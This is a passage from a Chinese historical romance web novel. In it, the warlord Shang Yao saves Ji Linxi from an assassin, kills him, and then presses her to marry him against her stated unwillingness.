这么一说,李芝兰哪里还有不懂的,撇撇嘴道:“我猜也是。翩翩虽说性格不是那么讨喜,架不住生得确实好。男人嘛——还是个二十岁都不到的小儿郎,意料之中。”
姬昱莫名有些尴尬:“他应当没有觉得不讨喜……”
姬临溪穿好衣裳,以长帨裹住头发,一边哆嗦一边出来用饭:“好饿了。”
撕开胡饼就要往嘴里丢,李芝兰看不下去,以箸示意:“你文雅些。”
“就我们一家。”临溪嘟囔,还是坐好。
“局势稍稍太平,你又这副不着调的模样。”李芝兰叹气,给女儿夹鲫肉,“真不知何时才能长大。”
“我不长大?我可是杀——”过人的。姬临溪瞥一眼姬昱,把话吞下去。
姬昱脸色如常:“月底我同你母亲要去段郡守家赴宴,你同我们一道。打扮好些。”
武威郡守段泰宴请并州及凉州官属,自然不会漏下使君夫妇。据说此人巧舌如簧,连邬逊都请动,姬昱不好不去。
“不去。”临溪头也不抬,“无趣。”
“必须去。”李芝兰思及郭涉,加重语气命令,“不许和我推三阻四。”
“有什么好去。”临溪小声道,“偌大一个凉州,竟没有人敢起来反他,还能和和美美置下飨宴,把酒言欢。我听了都觉得奇怪。”
姬昱道:“今时不同往日。冀幽都已落入他手,青州那个刺史郝嘉,出了名的见风使舵,更不可靠。我们又能如何?”
“那一旦青州也臣服,兖豫徐三地肯定不会作壁上观了。”临溪反驳,“你怎知他们联手就打不过?”
李芝兰目光在父女二人之间流转。
姬昱默然,临溪又道:“我知道阿父不仅仅是因为郭子昂,更是自己觉得中原靠不住,所以虽然犹豫万分,最终还是选了他,正好不必兵戈相见。可是……”
或许也有商曜答应保全郭颐身后名,和姬昱作为守臣名节的原因。
“晋阳城如铁板一块。”姬昱却道,“河南诸位州牧侯王却成日内斗,并州人在我姑臧这么久了,竟不知他们回过神没有。换你,你选谁?”
“本来处境就不同。”临溪争道,“河南是最富庶的地方,相争之处自然多。那幽并地带,地广人稀——”
“你们专心用饭好不好啊?”李芝兰嗔道,“翩翩,多进些汤。”
临溪吐吐舌头。
不过姬昱心情倒是不错。原因无它,他让董亓派亲兵去旅肆盯着郭涉,过了数日亲兵来报,说郭涉已经退掉旅肆客房,也同店家说,即刻就动身,回金城去了。
不知是没问出来,还是问出来得知是女流动的手,就放弃了。也有这种惯例,若是同女子间情杀一类,而非政敌相杀,不在男子恩怨之中,刺客自发离开。
但临溪同郭颐是义兄妹,应当不会有人认为是情意纠葛。姬昱并未掉以轻心,继续安排府兵多守了十来日。
万幸,一直无事。
临溪再闹不肯去筵席,姬昱这才不逼了,只同李芝兰赴宴。
临溪自己用了饭,一边篦头发,一边点起灯,随意翻着一卷孙子兵法。她读书是没有那么多,不是句句都能看懂,但眼瞧着天下局势莫测,还是想变得聪明些。
院中似有风声。起身去关紧窗格,回过身后,颈间骤然一凉。
半个时辰前。
并州营内,今日商曜未去赴姑臧太守宴,领着韩朔和桑烨,前来犒军。驻扎姑臧已有月余,虽未有恶战,到底行军艰辛,又迟迟不得归家。麾下一鹰击将军正好庆贺二十五生辰,特意来请。他不喜欢那段泰圆滑做派,二话不说回了军帐。
暮食到了一半,一位兵士靠近桑烨耳语。桑烨听过,起身至商曜座旁:“主公。”
商曜侧身。
“先前你让我盯着的那刺客。”桑烨压低声音,
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“他离开旅肆,辗转去了一姑臧友人处投宿,连日没有一点动静。然方才来报,说听见主人夫妇对话,疑惑他怎么不告而别。或许有异。”
韩朔竖起耳朵。
“事涉女公子,我才叫亲兵无论如何一定及时报来。”桑烨停了下,“不知……”
商曜眉目一凛,忽然起身,大步向外,喝道:“将照夜白牵来!”
韩朔连忙跟上。走出去几步,回来抓起佩剑。
临溪已经快昏死过去了。
颈项被人掐在掌心,再度冷声逼问:“你为何要杀他?”
“他先叛我阿父……”
“那也只是政见不同。你明知道,他绝不会伤害使君!”郭涉眉上一道疤痕,面目狠厉,“何以直取人性命?”
“他伤了我——”
“你不是好好站在这里?”
临溪呼吸不稳,徒劳去推他手:“我阿父不会放过你……”
“那又如何。”郭涉手下用力,斥道,“连义兄都杀的蛇蝎女子!”
临溪睁大眼睛,周遭空气稀薄,大脑渐渐发沉。
她忽然明白李芝兰说的“没有法子”究竟是何意。
过去十六年,她从不是什么娇弱女子,也曾经凛冬起早,冒雪去武堂练剑。懂招式,懂步伐,也懂收力控力,但在身量体格远胜于自己的习武之人面前,连剑都没能拿到,就被抓住颈项。
她从前天真地以为,出剑更快、射箭更准,就能够护好自己。
但阿母说的对,这还远远不够。
临溪知道错了。
依旧没有放弃,用神智最后一分清明,拼尽全力启唇:“他的死另……”
郭涉手上微微一松:“什——”
就在此时,忽有空气被破开的细微声响,一枚短箭撕裂空气而来,力道极重、方向极准,直直射向他颈间。
郭涉本能退开一步,临溪随之倒在地上,护住脖颈,大口大口喘气。顾不上害怕,倏地起身抓过柜上花瓶,重重砸向对方头部。
郭涉一痛,剑光亦落定在两人之间。
临溪只感到一道分外高大的身影矗立在自己身前,从持剑的手背骨骼,她认出是谁。
屋内一时只有剑刃相撞交击声,她又看见这道身影凌空而上,交替几下重踹郭涉胸膛,随后一手执剑,一手从腰后抽出贴身的短匕——丢给了她。
临溪毫不犹豫,扑上去紧紧攥住,举在自己身前。
郭涉疾步退后,将木架推倒掩护。不想对方单手撑木飞身而来,剑刃交错时,腕骨和胸膛再次传来剧痛。
这回再撑不住,身体向旁歪斜,长剑亦被一脚踹开,倒在地上后即被精准扯起一双臂膊,直接向后折脱肘骨。
眼前男子低喝一声:“姬临溪!”
临溪紧抓着短匕疾奔而来,狠狠戳穿郭涉手掌。反复数次,最后一刀插进肩膀。
“你在替他针灸?”商曜冷冷道,“拿出你杀郭子昂的气势。”
脚下男子闻言,用尽力气挣扎一下。
“他、他是刺客,不为私人恩怨,只为恩主报仇。”临溪胸膛剧烈起伏,“江湖上说——”
商曜无言,抬腕执剑。血光溅落之时,清清冷冷讥讽:“你还有心情管江湖。”
他已经俯下身,剑光寒意闪烁,利落割断郭涉颈骨。
临溪整个人一软,退后几步,跌在地上。
眼睁睁看着他将尸首丢出房外,而后折返,在自己跟前蹲下。借着飘摇灯影,她看见英挺眉目沾染血迹。
他伸手攥她纤细手腕,声音紧绷压住情绪:“你父母如何行事?明知有人想要你性命,未斩草除根之前,怎敢放你独自在家?”
临溪愣愣,大口呼吸。
商曜皱一皱眉,知道她这是吓到了。
姬临溪那点花拳绣腿,平日里是为锻炼自己,而非防御外敌。跟他倒是动过真格,但他也从未认真对待,或许给了她她真能与男子一较高下的错觉。但刺客出手,比寻常行伍之人要狠毒数倍,郭涉就试图活生生掐死她,而非一剑给个痛快。
他忽然从脊骨生出寒意。
如果不是郭涉为了报复,选择让她窒息而亡,也许他方才闯入,就会看见眼前女子的尸首。
这个念头让他蓦地伸出手去,将人紧紧拥进怀里,胸膛一热,竟又脱口道:“你还是跟我回晋阳吧。”他冷冷地、有一点嘲讽地,说出了这句话。
19. 心声
临溪伏在他怀间,低低地哭了出声。
认识以来,这颗小树终于在他面前,露出脆弱而不安的那一枝梢。
商曜抬臂,将人紧紧抱着。待她平复,托在臂弯里将人端去榻上,松手欲去清洗,脸颊手心都是血。被她拽住袖衽,哽咽恳求:“你别走。”
临溪抱膝坐着,整个人蜷缩成了极小一团,像是藏在蚌壳里的一枚圆圆珠子。
他不想承认,但没有办法,实在没有办法。他又输给这么一个瞬间,输给怜惜,输给想要靠近的心情。
默然片刻,走回去在榻沿坐下,静望着她。
临溪慢慢仰起脸。
他抬起手,张开臂弯。
她微微地抽泣一声,随后向前,再度扑进他怀抱里。第一次用自己的臂膊,紧紧地攀住了他的肩背。
“吓死我了……”声音也柔,带着啜泣,“吓死我了。”直面过生死,近来堆积的种种恐惧再也无法遏制,瞬间喷薄而出。
他以掌心接住这方瘦削脊背,任由她沾着湿意的脸颊埋在自己颈项之间。不大会说安慰的话,保持沉默,只双臂用力。
屋外一声惊天高呼:“少主公!”
韩朔险些将玉逍遥跑断,终于赶到了。见只有女公子的房里有灯光,大着胆子摸过来,低头就踩到一具尸身。
“你不必进来。”商曜侧身回,“把尸首处理了。再去段泰那里递话,叫使君夫妇即刻归家。”
韩朔担忧:“女公子无事吧?”
“无事。”
屋外渐渐没了声响。
房内临溪依旧一动也不动,紧紧贴在他胸膛里,惊惧不定。他抬起手,慢慢轻拍。
“以前没有人真想过要取你和你家人性命。”他低声安抚,“郭子昂也没有。他见我第一句话,是不要伤你父亲。”
“但我和我阿父又是不同的。”临溪筋疲力尽,“我是不是不该杀他?”
商曜沉默了下,只道:“你吓到了。不必想这些。”
临溪也默然片刻,仰头看他:“我先说好,我不是胆小鬼。是江湖上流传,刺客侠肝义胆,不为钱财仕途,只对有恩之人效忠,因此哪怕杀人,也另有悲壮高节。那、那——”
“凡言语修辞,全是别有用心的矫饰。”他拨开她额前碎发,“姬临溪,你要记着我今日所说。做任何事情,追本溯源即可,欲杀你之人,你就先杀之。所有仁义道德,都是为了欺骗。”
她还有些颤抖,伏在他肩头。
他在心里微叹一口气。什么也不再说,将人按回怀中。又静静抱一会,还是忍不住:“我须清洗一番。”血迹都滴落在颈间。
临溪低着头退开,跳下榻,扯他出去至屋后水缸处,递来木盆。他俯身将手脸清洗干净,转回头时发现她依旧没走,呆呆站在一边等待。
商曜怔了一下,抬步过去,摁住她脑袋至肩下:“好了。”虽寥寥数语,到底嗓音温润。掌心横切过颈后冰冷肌理,微微用力。
临溪闭上眼睛,抬手轻环住他腰身,迟疑一顿,脑袋也默默靠上去。身体随即一空,被人捞在胸前,一路抱入房里,这回进了内室,放在床上。
他松开手。
临溪盘腿坐在床沿,垂下眉眼:“你怎么会来?”
“他许久不出现,我让人一直盯着。”他望着她,“段泰今日请你父母,郭涉就不知去向,没有这么巧的事。”
临溪点一点脑袋:“多谢你。”
她是真心感激,非常感激,不由重复:“无论如何,今日真的多谢——”
“我不需要感谢。”
她怔了怔,不安攥住袖衽。
她已经沐浴梳洗过,长长青丝自然垂在脸颊两侧,交缠蔓延入颈。原本就不及他巴掌大的柔白脸颊隐匿在乌发之间,颊面不施粉黛,却更楚楚动人。
受惊过后,不见平日盛气,另有一分娇怜。商曜抬手,欲轻触其脸颊,被她侧身避开。
“我知不该趁人之危,但还是要这么做。”他慢慢道,“你如今相信,我不会伤害你了。是吗?”
临溪垂下眼睛,轻轻嗯一声。
“那我想要你,你知道吗?”
她脸颊埋得更低,嗯不出口了。她已经恢复力气,脑子也开始转动,但一时没有底气又对救命恩人撒气。
“我一向自私自利。”他望着她朦胧眉眼,平淡道,“从不是好心帮你。”
临溪咬住唇。
“既知道别人想要,总该告知给不给。”
语毕,抬起手腕,将她碎发拨到耳后,轻声唤出:“翩翩。”
他第一次叫她小字。临溪心尖翩然一霎,无措抬起脸,立时就想狡辩,或据理力争,苦于今夜事发突然,没有脸面桀骜不驯。半晌,鼓起勇气反问:“要身子吗?”
他借月光望着她,摇头:“要整个人。”
“说得好听……”她顶嘴简直是本能行为,硬生生忍住,一梗脖颈,“我不给人做妾的。莫说列侯,皇帝也不,天君都不,玉皇都不。你想都别想。”
这女子的性情简直——好像只要转瞬之间,就又从恐惧伤心中复原。他想笑,果断否决:“三书六礼,迎娶女君。”
他不再思考缘由。
今日不顾一切疾驰而来,照夜白累坏了,他也有答案了。
他一有答案,就不再踌躇。
临溪暗自吓一跳,绞住手指,机灵挑刺:“君侯要为见色起意付出这样高昂的代价吗?”
他真是气得想笑,语调又有些冷下去:“你以为之前几回是靠你自己逃走?”
看今夜也知道不是。临溪怔忡片刻,也摇一摇头,清晰答复:“我心中还有旁人。”
“我且等一等。”他自认体恤她受惊,已是一而再再而三妥协,双眼微掀,“但耐心不多,女公子尽快。”
“感谢是感谢,喜欢是喜欢。这不是一回事。”临溪脑袋煞有其事一抬一落,“你救了我,和其他的,二者之间不是必然干系。除非你是要我以身相许来报今日之恩,那我没有话说。你这样心高气傲,难道肯吗?”
商曜沉默。
“我感激你,今后不会再同你吵架,更不会再像以前那样动辄打打杀杀。但你还是得一桩事归一桩事吧。”她挠一挠耳垂,“别趁我心智虚弱哄骗我,我是吓到了,不是没有脑筋用了——”
越说越是心虚,最后近乎嗫嚅。
他安静望着她半晌,喉咙里蓦然挤出一声笑音。
“姬临溪。”商曜以指腹揉一揉她的发鬓,语气真诚,“汝之生机蓬勃不屈,简直世间一大奇观。”
最让他着迷的地方也正在这里——他清楚地看到症结,也接受无药可解的后果。
临溪悻悻闭嘴。她不至于连这么明显的讥讽都听不懂。
他忽然伸出手,将她脑袋抬高。
两人便靠得极近了。她以鼻尖抵在他下颌处,所嗅入气息,亦有男子身上临霜而来的清冽。
其实两人抱也抱过,亲也亲过,连她的衣裳他都撕过。但却是她头一次不好意思。手心抵在腰后,想要同他分开。
下颚忽然被攥高。
“我现下做一件事,”他低声道,“你会顾不上害怕,且知道是不是感激。”
临溪心脏一紧,知道是什么了,张口推拒:“你别——”
别字尾音回荡在他心里。少女颈项被大手托起,下唇随之一痛。
他托着她的脑袋,亲她的嘴唇,沿唇线浪游。趁她恍惚,欺开贝齿,向里探去。
距离第一次亲吻已过去许久。他发誓他不曾刻意怀念,但有时睡不着,罪人无疑是她。
也有一分难以启齿的恼意。
明明保证过尽快回晋阳去,保证过不再被她影响,保证过爽快割裂这原本就如一段朦胧绫丝的情愫,然而在市集偶遇,他就直觉不妙;听她手托花瓣说着陌生语言,他望向一旁遮掩;想起她捉着同心辫巧舌如簧的狡黠眉眼,指骨紧攥住浴桶边缘。
真的想要,他是认了。
亲时也是这样,唇间清甜绵密,臂间柔软温热。他都不知自己是何时将人压在床木边缘,一手攥腰肢,一手托后脑,含着这双唇辗转深吻。
直到双方鼻息相抵。
“不合时宜地做这种事,”临溪双手按在他肩上,低低说话,“会妨碍我想清楚的。你别!”
“做了就是做了。”他学她耳语,“有人没有她以为的那么不愿意。”
“你……”她想反驳,是你说话不算话在先,他预料到是这句,俯身再度吻下去。
今日之吻她亦不回应,但好歹没再怒目而视。
他要求竟这么低了。手掌松开纤腰,抚上一侧肩头,明知不能够做什么,反反复复摩挲止渴。这方解了焦灼,唇齿相磨间却又升起更多不安,连身下亦万分煎熬。
不知如何抵御,内心失了序,单手将人抱到膝上,低头吻向耳朵,沉声命令:“抱着我。”
她倒在他肩颈,任他含咬耳垂,极难得有了一点点乖顺。但到底只是任人施为,并不算配合。
事态又超出原本局面。
说好井水不犯河水,如今他坐在她闺房木床边沿,将她搂在膝骨上、腰腹前,垂首轻咬她颈间冰凉肌肤。
腰身紧贴,她不得不深刻感受到,眼前这座年轻男子身体所蕴藏的巨大力量,以及,他是如何渴望着她。
不知缠绵漫长至了何处,他忽探手紧按她腰后,出于某种本能,遒劲腰腹向她纤腰重重抵近。他怔了一下,临溪也猛地伸手去推,才要开口叫停,忽闻一阵匆匆脚步声,伴随着推开门页的声响——
李芝兰不慎惊呼出声,慌忙推着姬昱,一道背过身去。
两人蓦地分开。
临溪立刻滚进木床深处,以被衾裹住脑袋,躬身蜷起藏入。
商曜亦有些僵硬,虽面上不显,到底不知该说什么,长身默然而立。退到床侧,攥一攥手,方温声道:“已经无事了。”
“哦——哦!”李芝兰很忙地点头,“没事就好,没事就好。”
她看得清清楚楚那是什么姿势,看到了他深埋在女儿颈间,千真万确不可抵赖。
毕竟是已经长大的女儿,姬昱知道避讳,始终没有回头。李芝兰毕生没有经历过这样尴尬的场面,呆呆站立许久,呐呐张嘴:“那——”
“我很愿意,也很想,娶她回晋阳。”
他忽然开口,先对一家人给出明确回应,而后才开始说些场面话,嗓音平缓而沉直:“但翩翩待我有些心结,还望使君和夫人从中转圜。今日夜深,迟留不妥,我明日再来看她。”
语毕,侧身离去。
神色镇定,脚步却分明有些乱了。
姬昱一推妻子,小声问:“我就不过去了?”若是衣冠不整,不大妥当。
李芝兰连连点头,将他推走,关紧门页,悄声回到床前:“翩翩!翩翩!”
临溪闷住自己,彻底一动也不动。
“你们这……”未免过于情难自持,在少女闺房也
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敢交颈缠绵,忍住了不提,只安抚女儿,“别怕,韩将军同我们说了。郭涉已死,阿父去加派人手戍卫后院,我再给你挑几位女使近身陪伴,不会再有事了。”
临溪又羞又窘,听到这段依旧本能反驳:“我已经不怕了!”
语毕,自己蓦地生出几分怅然。她怎么就这么倔强?
“好好好,你不怕——他说娶你回晋阳。”李芝兰抬手去拍女儿脊背,“翩翩听到了么?”
极其坦荡的态度了。
“翩翩……”
“阿母陪我睡下吧。”临溪蓦地打断,闷闷不乐,“实在有些害怕,要睡了。天大的事,以后再议。”
李芝兰按下满腹劝谏话语,伸手护住她脑袋,柔柔安慰:“好。睡吧。”
临溪闭上眼。
脑子里却依旧全是今夜那些馥郁又缱绻的交缠。亲了那么久、那么久,直至温热濡湿,他那濒临极限的失控瞬间,她虽不乐意,却也能理解。
少年人间最青涩的气息涌动。她从未和别人有过的涌动。
临溪脸颊埋在枕内,抬手攥着枕巾,只是默默想,这种事,她认认真真说一句我不愿意就好了。既然没有说出口,事后再来义正辞严,在他面前依旧气势全无。
辗转躺平——又模模糊糊地想,他抱她抱得那样温柔,杀人却比她心狠百倍。
正屋,姬昱作揖俯身,口中郑重:“今日君侯搭救小女之恩,我一家没齿难忘。”
连女儿都保护不好的父母。还是那个假设,如果有人想取小昔性命,这种念头生出的下一秒,人头就该落地了。
商曜不能不给岳丈情面,亲自抬手去扶,只是神色不大热络:“我救我的新妇,天经地义。”
“新——新?”姬昱脑袋像被塞了一团棉花,笑也笑不出,哭更不应该,干笑两声,“这也太快了吧。”
眼前青年眉宇挺阔,口吻疏淡:“翩翩容貌如此,在使君口中性又顽劣,想来时常惹祸。此番虽非她的过错,也自有其因果,不是不能提防。既护不住她,不如将她交给能护住的人。”
姬昱脸上青一阵白一阵:“是,是我受骗——”
“我可以。我不会被任何人欺骗。”他直接道,“使君放心。”
姬昱难免犹豫。
“自然,我也不是在征求使君同意。”商曜颔首,“劳烦使君尽快置办嫁妆。我预计年底归晋阳,入城后即行婚仪。”
见姬昱愕怔,他又道:“有劳。”
语毕,竟就转身走了。
姬昱张大嘴:“君侯——”
这个高大得过分的青年却已经到了刺史府大门外,径自纵身上马。只韩朔错身入内,一拱手道:“使君。刺客寻常再没有后手,不过我拨了少主公近身的亲兵来,也有十二人之数。即日起轮值戍卫后院各门及堂屋,还请使君放心。女公子绝不会再有事。”
语毕,摸鼻梁扫姬昱一眼,也走了。
都说世间诸事,比起阴诡,实则是阳谋难防,一针见血。美人计不正是?最滥用最一目了然的计谋,明明白白写着愿者上钩,该上钩还是得上钩。
主公吩咐他去拨亲兵,但不必惊动军师,只从素日近身戍卫的抽调。韩朔不乐意送精锐来护一个应当不会再有事的小娘子,想要反对,少主公却掀一掀眼睛道:“女君规格,有何不妥?”
随后学女公子动作,向他额头一伸指腹,淡然警告:“再说漏嘴,军法处置。”
唇角一扬,不知去哪里了。
邬逊宅邸,两人对坐。
商曜一直不说话,邬逊看他半晌,又倒了酪浆,最后叹气。
他先退让:“少主公后院无人,先纳一位侧夫人,过几年再定下正室,也还好。想必老夫人不会不同意。”
见对方依旧沉默,摇一摇头,口吻一缓:“长叙,凉州给你下美人计了。”
“是。”商曜瞬间应了,不知如何就扯开唇,垂着眉眼,轻快笑了一笑,“是。中计了。”
“你年岁到了,按说不该阻拦。但这选的也太——”邬逊实在是不满意,眉头皱成结块,“我给你算算。刺杀你数次,烧你一次,至于发脾气,那更是无数次!少主公,老夫人和大翁主都是性情温柔的女子啊,你怎么眼光这么……”
商曜敷衍:“遇见方知眼光如此。”
什么鬼话。邬逊在心里翻白眼,又叹口气,反问:“那少主公想如何?”
“成婚。”商曜抬起头,“回晋阳就成婚。”
“你——”邬逊头痛,“当真是铁树开花了。从前幽冀二州使君进献美人,都好好送回去了。怎么这次就这么地放不下——”
“她太吵了。”商曜神色怔一怔,似乎并不知自己在说什么,只重复道,“真的太吵了。”
邬逊抬手揉摁眉心:“长叙,恕我直言。此女容貌摆在那里,无论做什么出格事,男子一时都会原谅。但美貌也是世上最容易腻味的东西,性格这样不成体统,娶回去一两年就后悔,后宅不宁,才是不妙。”
商曜道:“性格如何不成体统?她很聪慧。”
邬逊脸色一黑。
“先生——”
“你只告诉我一句,究竟为何。”邬逊制止,“若说美貌,你拿就拿去了,我是不会管的。何以突然想要给她正妻之位?你必须同我说一句,为什么。好好想一想,再说。”
房内一时只剩烛影摇曳。
半晌,商曜终于开口,声音发低:“今夜方察觉,我尚未得到,就害怕失去。”
20. 心性
邬逊许久没有说话。
他年近天命,对着这个小了三十多岁的主君,平日连严肃劝谏都像长辈表达期许,说不出太苛刻的话。且长叙的确天资卓越,虽然行伍出身,近两年随着年纪增长,政务进益也快,待自己又十分敬重。
不然也不至于,姻亲一有所求,就征求他支持。
“好吧好吧。”邬逊抬抬手,松口了,“但不好在姑臧成婚。先带回晋阳去,让大翁主好生教养一番规矩,再定。她现下真的太不成样子了。”
女子性情过于刚烈顽固,多半都没有善终。只是转念一想,商曜留用姬昱等同恩赐,对待这个已经臣服的州牧的女儿,腻了再打发就是。哪怕最后姻亲破裂甚至女方死了,其实也无伤大雅。
没必要为这个起争执。年轻儿郎初次为女子心悸,非要做恶人去强行叫停,只会越叫人反感。
邬逊不喜欢姬昱一家,但也看得开。
商曜眉目一扬,拱手道:“谢过先生。”
“是少主公抬举我。你大可自己拿主意的。”邬逊满足一叹气,“说起来,此女容貌的确姝丽,相当出众。若是举止能端庄些,归晋阳时一双璧人,也是很替主公长脸的。”
商曜微微一笑。
次日入夜,临溪终于从榻上起身。正在用羹汤时,姬昱回了后院,转达商曜意思。
李芝兰早早听他说过了,再听脸上还是藏不住的喜色。大大方方许诺明媒正娶,比她预料的结果已经超出太多。
不说凉州境况今非昔比,即便是从前一方州牧对列侯之时,这桩姻亲她都会点头。
不想女儿倏地起身:“阿父已经答应了?”
“自然没有。”姬昱就知道会是这个反应,苦着脸回,“但他又说,他并不需要我们允准。”
临溪张了张嘴。
“翩翩!”李芝兰也开口,“你们都……你不如……”
她已经冲出去。已经过了戌时,衙署内的郎官大多都归家去了,临溪直接推门,闯入堂屋。
她从前对他趾高气扬,张嘴就是大逆不道的话语轮番上阵。这会骤然对上男子目光,却一时发懵。
昨夜救救又亲亲,实是不大好发作。
他望一望她,倒是笑了:“过来。”
临溪本能就想顶嘴抵抗,默念三遍救命恩人,硬是忍住了不说。提起裙裾,直接走到案边,大马金刀坐下:“我有话跟你说。”
他比她更直接,伸出手就将她轻巧抓到怀里,另一只手同时抬起禁锢,稳稳抱着:“什么。”
“我什么时候同意跟你成婚了?”临溪皱眉,毫不犹豫斥道,“还有,不要再对我动手动脚。救命之恩至多原谅你昨夜冒犯,今日已经是新的一天了。”
他也不恼,淡然道:“随我回晋阳。”
“我没有同意——”
“你以为需要你同意?”他的语气平静无波,“我认识你第一天就告诉过你,凉州是我的了。”
“你——”临溪微微一愣,“什么意思?”
“我想要的东西,就属于我。”他低头看她一眼,目光温和一分,“不必担心,回晋阳才正式成亲。在那之前,我不动你。”
姬临溪忍无可忍,开始挣扎:“你滚——”
“今后,我们年年岁岁在一起。”商曜也不看她,只唇角暴露心情很是不错,以至于十分耐心,“同我相处不难。小闹怡情,大闹不许。”
脑袋抵住她发顶,左手将人按在肩下,右手提笔回信简,语气闲闲:“现在这样就很好。”
“你到底什么意思!”临溪蓦地生出惊恐,“你昨日不是这样说的!你说了你可以再等等——”
“我指的是,”他停一停,大手移下去,几乎盖住她整片小腹,轻轻摁了一下,“这件事,我给你时间,不会逼迫。”
“但回晋阳,你没得选。”
“你发什么疯!”临溪彻底呆住,困惑他为何骤然态度大变,“你救了我一次,就要我以身相许吗?”
“不是。”他依旧抱着她,臂膊施力,迫使她一动也不能动。正在读信,于是随口安抚:“你顺从些。”
又是“顺从些”,她平生最恨的两个字。临溪心头猝然火起,用尽力气去推他手臂。见不得行,抓起来狠狠咬下去:“竖子!花言巧语的竖子!”
怎么会骂他花言巧语。商曜微微蹙眉,忍着痛意,反问:“你看不出来?”
她在他怀里像一只暴躁又倔强的雏鸟,绝不认输,但力气是没有一点用处。被单手转回去,紧紧摁在胸膛里。
他无所谓道:“看不出来算了。”
临溪一味使劲推他,不见人动一毫一厘,反而将她抱得更紧,声音一冷:“够了。”
“我不要嫁给你!”临溪大吼,直击要害,“我不喜欢你!我不同意!我不愿意!我早同你说过了,我不想做的事,没有人可以逼我!”
他只轻描淡写:“现在有了。”
临溪一怔。
“我可以重用你父亲。”他抬起手,揉了揉她的脸颊,“不止现在,今后如是。”
见她睁着一双圆圆眼睛,困惑又怔忡模样,心中喜爱泛上来,不自觉妥协:“你若离不开父母,自己去说服他们放下凉州迁居,我会安排你父亲在晋阳做郎官。他既通晓匈奴语言,才能不会浪费。”
临溪还是发怔。
他却想起什么,抬手揉一揉她头发,越发温和:“你语言禀赋好,应当是像他。”
临溪安静稍顷,低声反问:“你的意思是,自姑臧易主那一刻起,我就再没有拒绝你的资格。连我父母的命运都捏在你手中,何况我。”
他垂首写字,只口中确认,嗯了一声。放下笔后,将竹简推离一寸,转过脸淡淡瞧她:“我不想直说的。”
临溪亦定定看着他。
脸颊被男子大手捧起,细细端详。
她心里发凉,听他用一种有些缥缈的语气平静告知:“我已去信让人准备。婚仪细节繁杂,我母亲和长姊会打点妥当,你不必操心。”
“可是我不喜欢你。”临溪吐出几个字,“不喜欢就是不喜欢……”尾音一轻。
他安静瞧着她。
临溪低下头,紧紧揪住手。
商曜收回视线,笑了一笑,不疾不徐答复:“我又不曾要求你喜欢我,我只要求你属于我。这难道不是两回事?”
“你——”临溪一拍桌案,“你这竖子!岂有此理!”又开始奋力挣脱。
被拦在腰前,勉为其难低声哄了一句:“好了。过会带你去用饭。”
临溪满心惊悚:“下的什么毒?”
商曜默然一瞬,抬手从后绕过她脖颈,改将人搂在臂膊下:“昨日我帐前鹰击将军生辰,我们去围猎了。很多吃的,不许再闹。”
她忽然垂头丧气。
怀中少女安静很久,他只当作搂着暖炉捧住,打开下一捆信简——
臂上尖锐一痛。
本能忍住没有出声,立刻松开退让,警惕看她。
她已经一步窜出去,直直站在他眼前,手中小匕举起:“谁许你像哄弄宠物一样待我?”
说的什么话。商曜皱眉,她却低头伸出手臂,猛地在自己左臂类似位置划了一刀,血迹滴落,抬高给他看,有力道:“你昨日救了我,于情于理,我不该伤害你。所以同等这样对待自己,再同你交涉。”
“你救过我性命,要我钱财,或为你做事,我都没有二话的。赴汤蹈火,我也去做,一定报答恩情。”临溪望着他,攥成拳头,眼眶之中却晶莹打转,“为何一定要这么对我?”
他究竟怎么对她了?
商曜平生头一回有种完全不得沟通的无力,微微平复,方冷静问她:“是你父亲没有好好告诉你,要明媒正娶?”
“那你为什么一定要我这样感谢你?”临溪双眼红透,“男女之间,除了姻亲,没有其他联结方式吗?”
他皱一皱眉,按下性子,低声解释:“我从来不是要你谢我。我是因为要娶你,才留心救你。”
不忘讥讽:“否则谁管你死活?”
“可是——”临溪退后一步,“我不喜欢你,而你只是想和我——也不是喜欢我——”
他抬眼看她,冷冷道:“缺心眼。”
不想再说了,他实在没有什么话好说。以方巾摁住还在丝丝冒血的伤口,还是忍无可忍讥讽:“姬临溪,同你做夫妻,皮肉不实都不能够。”
看她伤她自己臂膊下手更重,血珠汩汩,只觉得一股郁闷气流从脊椎处冲到大脑,困在身体里怎么都出不去。最后深呼吸,扔出一句:“以后有孩儿——尤其是我的女儿,我不会允许你父母教养一天。”
丢下她出去,叫韩朔传医士。
他是不在意这点小伤,但看她乖乖任人包扎时又恢复恬静的漂亮模样,一时间生出更多憋闷,提袍坐下,实在是一个字都不想说,也说不出来了。
奇观。世间奇观。
韩朔敢怒不敢言,被他一瞪也知道依旧不许说给别人,跟着叹气。
医士离去,商曜打发韩朔一道走,独自推门回到内室。
临溪
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侧身坐着,护着臂膊,眉眼低垂。
他走过去,单手将人捞抱到桌案放下,俯身同她平视。她倔强别开脸,他抬手转回来,蓦地开口:“在你愿意之前,我保证不动你。”
“学着平心静气和我相处。能否答应?”
临溪抿住唇。
“年底,我带你回晋阳。”他又道,“想知道什么,就来问。我从不撒谎。”
她脱口问:“你碰过别人吗?”
“没有。”他简洁答,“所有你能想到的,都只跟你有过。”
她垂下眼睛:“因为我漂亮,还会杀人。”
他点头认可:“漂亮容易,杀人难得。”
“那如果还是不愿意呢?”她也有些不知该怎么办,只皱着一张小脸问,“如果我就是不愿意呢?”
“那没办法。”他耸一耸肩,“所以你最好愿意。”
姬临溪一抬食指。
被他一把并住,轻轻按下去,声音有些空:“我想要你。真的很想。”
她瞪着他。
“但你再想跟我见血时,”他凝视她眉眼,“想想你父母。”
她张了张嘴,他又道:“对你这种人,以凉州威胁都无用。不顾旁人死活的犟种。”
撤开手去,径自坐下,不再理会她。
临溪手攥在木架边缘,呆滞许久,最后转身,打算逃跑回家。才迈出去两步,腰下一疼,被人打横举起来,猛地抱高,抵在书架上。
她双手本能停在他肩头。
“每回你同我见血,”他微微地仰着眼睛,哑声和她亲近,“就很想亲你。”
眉宇里都是欣赏和玩味的颜色。那种不可控的悚然和寒凉又丝丝缕缕从心底飘上来,她几乎感到恐惧,吓得连一句完整话也说不出。喉咙滚了一滚,没有什么力气地骂:“你真是有毛病。”
“或许是。”他心底深处也觉得,眼光如自己般古怪的人不会再有,不过不大在意。
俯身靠向她,另一只手掐她下颌,说了一次已经说过的话:“让我亲。”
他只是说,并不需要回应。腕骨施力,低脸重重吻下来。
一回生二回熟,第三回就脱胎换骨。气息交换,唇瓣扫荡,舌尖搜刮,吻至动情处,掌心贴住她颈间动脉,往上一抬。
姬临溪忽然尖叫:“不要——”
商曜愣了一下,反应过来,瞬间松手。将人牢牢纳在怀里,低声致歉:“抱歉。”
她还在后怕昨晚的事,躲在他怀里发抖。慢慢察觉,相比死亡,亲吻实在是太无关紧要的事了。
